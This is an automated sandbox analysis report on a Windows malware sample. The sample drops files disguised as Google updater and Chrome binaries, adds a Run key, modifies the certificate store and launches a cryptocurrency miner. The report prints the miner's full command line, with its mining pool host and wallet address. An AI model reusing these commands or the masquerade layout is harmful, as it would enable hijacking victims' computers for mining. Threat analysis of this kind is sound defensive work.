Analysis
- max time kernel
151s - max time network
144s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
02/10/2026, 06:01
General
- Target d97c505099316c68d773c574ffd6cf3e3185618d27e9cf6b8826a093b50bdbb1.exe
- Size 23.9MB
- Sample261002-gqvpgstsbz
- SHA256 d97c505099316c68d773c574ffd6cf3e3185618d27e9cf6b8826a093b50bdbb1
Malware Config
Signatures
- Executes dropped EXE 6 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Drops file in Program Files directory 8 IoCs
- Modifies system certificate store 2 TTPs 2 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\d97c505099316c68d773c574ffd6cf3e3185618d27e9cf6b8826a093b50bdbb1.exe"C:\Users\Admin\AppData\Local\Temp\d97c505099316c68d773c574ffd6cf3e3185618d27e9cf6b8826a093b50bdbb1.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\Google\Update\0fhjh07e\googleupdater.exe"C:\ProgramData\Google\Update\0fhjh07e\googleupdater.exe" /install22⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\Google\Update\0fhjh07e\crashpad_handler.exe"C:\ProgramData\Google\Update\0fhjh07e\crashpad_handler.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\Google\Update\0fhjh07e\chrome.exe"C:\ProgramData\Google\Update\0fhjh07e\chrome.exe" --algorithm pearlhash --pool prl.kryptex.network:7048 --wallet prl1p4zspqfwvav4azyxgq3s3gzf2vsu8z6tch8f5r268kac57tt4azcq6jf0jx.GBPDBRJCT4⤵
- Executes dropped EXE
-
-
-
C:\ProgramData\Google\Update\0fhjh07e\chrome.exe"C:\ProgramData\Google\Update\0fhjh07e\chrome.exe" --algorithm pearlhash --pool prl.kryptex.network:7048 --wallet prl1p4zspqfwvav4azyxgq3s3gzf2vsu8z6tch8f5r268kac57tt4azcq6jf0jx.GBPDBRJCT3⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Google\Update\0fhjh07e\googleupdater.exe"C:\Users\Admin\AppData\Local\Google\Update\0fhjh07e\googleupdater.exe" /boot1⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\Google\Update\0fhjh07e\chrome.exe"C:\ProgramData\Google\Update\0fhjh07e\chrome.exe" --algorithm pearlhash --pool prl.kryptex.network:7048 --wallet prl1p4zspqfwvav4azyxgq3s3gzf2vsu8z6tch8f5r268kac57tt4azcq6jf0jx.GBPDBRJCT2⤵
- Executes dropped EXE
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
chrome.dll
chrome.exe
crashpad_handler.exe
googleupdater.exe
guanchor.dll
nvidia-smi.exe
memory/1708-78-0x00007FF61C210000-0x00007FF61C23D000-memory.dmp
memory/2044-56-0x00007FF61C210000-0x00007FF61C23D000-memory.dmp
memory/3248-41-0x00007FF7C0EA0000-0x00007FF7C10ED000-memory.dmp
memory/3248-55-0x00007FF7C0EA0000-0x00007FF7C10ED000-memory.dmp
memory/3248-53-0x0000000140000000-0x0000000140EC0000-memory.dmp
memory/5152-15-0x0000000140000000-0x0000000140EC0000-memory.dmp
memory/5152-14-0x00007FF713E40000-0x00007FF71408D000-memory.dmp
memory/5616-7-0x0000000140000000-0x0000000140EC0000-memory.dmp
memory/5616-6-0x00007FF6DC460000-0x00007FF6DC6AD000-memory.dmp
memory/5616-2-0x0000000140000000-0x0000000140EC0000-memory.dmp
memory/5616-75-0x00007FF6DC460000-0x00007FF6DC6AD000-memory.dmp
memory/5616-0-0x0000000140000000-0x0000000140EC0000-memory.dmp
memory/5924-34-0x00007FF61C210000-0x00007FF61C23D000-memory.dmp
memory/5940-44-0x00007FF65FF70000-0x00007FF65FF9A000-memory.dmp
memory/5940-58-0x00007FF65FF70000-0x00007FF65FF9A000-memory.dmp
memory/5940-61-0x00007FF65FF70000-0x00007FF65FF9A000-memory.dmp
memory/5940-64-0x00007FF65FF70000-0x00007FF65FF9A000-memory.dmp
memory/5940-67-0x00007FF65FF70000-0x00007FF65FF9A000-memory.dmp
memory/5940-70-0x00007FF65FF70000-0x00007FF65FF9A000-memory.dmp
memory/5940-73-0x00007FF65FF70000-0x00007FF65FF9A000-memory.dmp
memory/5940-49-0x00007FF65FF70000-0x00007FF65FF9A000-memory.dmp
memory/5940-40-0x00007FF65FF70000-0x00007FF65FF9A000-memory.dmp
memory/5940-79-0x00007FF65FF70000-0x00007FF65FF9A000-memory.dmp
memory/5940-81-0x00007FF65FF70000-0x00007FF65FF9A000-memory.dmp